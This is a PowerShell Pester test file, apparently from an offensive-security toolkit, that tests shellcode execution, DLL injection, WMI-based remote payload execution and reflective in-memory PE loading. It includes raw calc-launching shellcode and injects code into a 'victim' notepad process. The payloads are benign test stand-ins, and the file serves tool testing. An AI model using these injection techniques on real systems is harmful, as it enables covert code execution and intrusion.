Tests/CodeExecution.tests.ps1

Set-StrictMode -Version Latest

$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1"

Remove-Module [C]odeExecution
Import-Module $ModuleManifest -Force -ErrorAction Stop

Describe 'Invoke-Shellcode' {
    # 32-bit calc popping shellcode
    [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
                                0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
                                0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
                                0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
                                0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
                                0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
                                0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                                0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
                                0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
                                0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
                                0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
                                0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
                                0x61,0x6c,0x63,0x00)

    # 64-bit calc popping shellcode
    [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                                0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                                0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                                0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                                0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                                0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                                0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                                0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                                0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                                0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                                0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                                0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                                0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                                0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                                0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)

    $PowerShell32bit = $False
    $Shellcode = $Shellcode64

    if ([IntPtr]::Size -eq 4) {
        $PowerShell32bit = $True
        $Shellcode = $Shellcode32
    }

    $64BitOS = $False
    if ($Env:ProgramW6432) { $64BitOS = $True }

    # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe
    if ($PowerShell32bit -and $64BitOS) {
        # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad
        $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe"
    } else {
        $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe"
    }

    BeforeEach {
        # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc)
        Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force
    }

    It 'should pop calc without arguments' {
        Invoke-Shellcode -Force

        Start-Sleep -Seconds 2
    }

    It 'should pop calc in host process with -Shellcode arg' {
        Invoke-Shellcode -Shellcode $Shellcode -Force

        Start-Sleep -Seconds 2
    }

    It 'should pop calc in victim notepad.exe process without -Shellcode arg' {
        $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath

        if ($NotepadProc.ReturnValue -ne 0) {
            throw 'Could not start victim process: notepad.exe'
        } 

        $VictimPID = $NotepadProc.ProcessId

        Invoke-Shellcode -ProcessId $VictimPID -Force

        Start-Sleep -Seconds 2

        Stop-Process -Id $VictimPID
    }

    It 'should pop calc in victim notepad.exe process with -Shellcode arg' {
        $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath

        if ($NotepadProc.ReturnValue -ne 0) {
            throw 'Could not start victim process: notepad.exe'
        }

        $VictimPID = $NotepadProc.ProcessId

        Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force

        Start-Sleep -Seconds 2

        Stop-Process -Id $VictimPID
    }

    AfterEach {
        # Validate that a calc process was launched by the shellcode

        $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' }
        $CalcCount = $CalcProcs | Measure-Object

        if ($CalcCount.Count -gt 0) {
            $CalcProcs | Stop-Process -Force
        }

        $CalcCount.Count | Should BeGreaterThan 0
    }
}

Describe 'Invoke-DllInjection' {
    $Advpack = 'advpack.dll'
    $AdvpackPath = "$($Env:SystemRoot)\System32\$Advpack"

    It 'should inject a known system DLL' {
        if (-not (Test-Path $AdvpackPath)) {
            throw "$AdvpackPath does not exist on disk."
        }
        
        $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AdvpackPath
        $LoadedModule | Should Not BeNullOrEmpty

        $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True
        $LoadedModule.ModuleName | Should Be $Advpack
    }

    It 'should not inject a non-existent DLL' {
        $NonExistentDllPath = 'C:\foo.dll'

        Test-Path $NonExistentDllPath | Should Be $False

        { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw
    }

    It 'should not inject to a non-existent process' {
        { Invoke-DllInjection -ProcessID 0 -Dll $AdvpackPath } | Should Throw
    }
}

Describe 'Invoke-WmiCommand' {
    $RegistryHive = 'HKEY_CURRENT_USER'
    $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG'
    $RegistryKeyPath = "HKCU:\$KeyPath"
    $RegistryPayloadValueName = 'Seed'
    $RegistryResultValueName = 'Value'
    $ComputerName = 'localhost'
    $SamplePayload = { 1+1 }
    $SamplePayloadResult = & $SamplePayload
    $SamplePayloadResultType = $SamplePayloadResult.GetType()

    Context 'Successful code execution' {
        BeforeEach {
            # Ensure registry keys and values are cleaned up prior to execution
            Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue
            Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue
            Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue
        }

        AfterEach {
            { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw
            { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw
            { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw
        }

        It 'should execute a sample payload locally and clean up properly' {
            $Result = Invoke-WmiCommand -Payload $SamplePayload

            $Result | Should Not BeNullOrEmpty
            $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
            $Result.PayloadOutput | Should Be $SamplePayloadResult
            $Result.PSComputerName | Should Be $ComputerName
        }

        It 'should execute a sample payload "remotely" (localhost) and clean up properly' {
            $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName

            $Result | Should Not BeNullOrEmpty
            $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
            $Result.PayloadOutput | Should Be $SamplePayloadResult
            $Result.PSComputerName | Should Be $ComputerName
        }

        It 'should execute a sample payload with explicit arguments locally and clean up properly' {
            $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName
        
            $Result | Should Not BeNullOrEmpty
            $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True
            $Result.PayloadOutput | Should Be $SamplePayloadResult
            $Result.PSComputerName | Should Be $ComputerName
        }
    }

    Context 'Invalid arguments' {
        It 'should not process invalid registry hives' {
            { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw
        }
    }
}

Describe 'Invoke-ReflectivePEInjection' {
    # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called
    # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
    $Encoded64BitWStringDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACpa+De7QqOje0Kjo3tCo6Nz3NqjewKjo3Pc1KN7AqOjc9zUI3sCo6NUmljaO0Kjo0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAAZIYDALHxPFYAAAAAAAAAAPAAIiALAgwAAAIAAAAEAAAAAAAAABAAAAAQAAAAAACAAQAAAAAQAAAAAgAABQACAAAAAAAFAAIAAAAAAABAAAAABAAAnqIAAAEAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAMCAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAABgAAAAAEAAAAAIAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACQAAAAACAAAAACAAAABgAAAAAAAAAAAAAAAAAAQAAAQC5yZW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]::FromBase64String($Encoded32BitWStringDll)
    $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll)
    $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll)
    $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll)
    $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll)
    $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll)
    $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe)
    $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe)

    if ([IntPtr]::Size -eq 4) {
        $PowerShell32bit = $True
        $WideStrDllBytes = $WideStrDllBytes32
        $StrDllBytes = $StrDllBytes32
        $VoidDllBytes = $VoidDllBytes32
        $ExeBytes = $ExeBytes32
    } else {
        $PowerShell32bit = $False
        $WideStrDllBytes = $WideStrDllBytes64
        $StrDllBytes = $StrDllBytes64
        $VoidDllBytes = $VoidDllBytes64
        $ExeBytes = $ExeBytes64
    }

    Context 'DLL loading' {
        It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' {
            $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ

            $Result | Should Not BeNullOrEmpty
            $Result | Should Be 'Hello, world!'
        }

        It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' {
            $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ

            $Result | Should Not BeNullOrEmpty
            $Result | Should Be 'Hello, world!'
        }

        It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' {
            $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'
            if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }

            Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ

            Start-Sleep -Seconds 2
            $TestOutputPath | Should Exist
            $Result = Get-Content $TestOutputPath

            $Result | Should Not BeNullOrEmpty
            $Result | Should Be 'Hello, world!'
        }

        It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' {
            $64BitOS = $False
            if ($Env:ProgramW6432) { $64BitOS = $True }

            # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe
            if ($PowerShell32bit -and $64BitOS) {
                # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad
                $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe"
            } else {
                $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe"
            }

            $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath

            if ($NotepadProc.ReturnValue -ne 0) {
                throw 'Could not start victim process: notepad.exe'
            } 

            $VictimPID = $NotepadProc.ProcessId

            $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'
            if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }

            Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ

            $Result = Get-Content $TestOutputPath

            Start-Sleep -Seconds 2

            Stop-Process -Id $VictimPID

            $Result | Should Not BeNullOrEmpty
            $Result | Should Be 'Hello, world!'
        }

        It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' {
            if ($PowerShell32bit) {
                $PEBytes = $WideStrDllBytes64
            } else {
                $PEBytes = $WideStrDllBytes32
            }

            # Attempt to load the wide string DLL in memory with a mismatched bitness
            { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw
        }

        It 'should not load a DLL in memory within powershell.exe when the return types do not match.' {
            # This DLL exports WStringFunc which means that -FunReturnType should be WString
            { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw
        }
    }

    Context 'EXE Loading' {
        $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt'

        BeforeEach {
            if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath }
        }

        It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' {
            Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ
        }

        It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' {
            Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ
        }

        AfterEach {
            Start-Sleep -Seconds 2
            $TestOutputPath | Should Exist
            $Result = Get-Content $TestOutputPath

            $Result | Should Not BeNullOrEmpty
            $Result.StartsWith('Hello, world!') | Should Be $True
        }
    }
}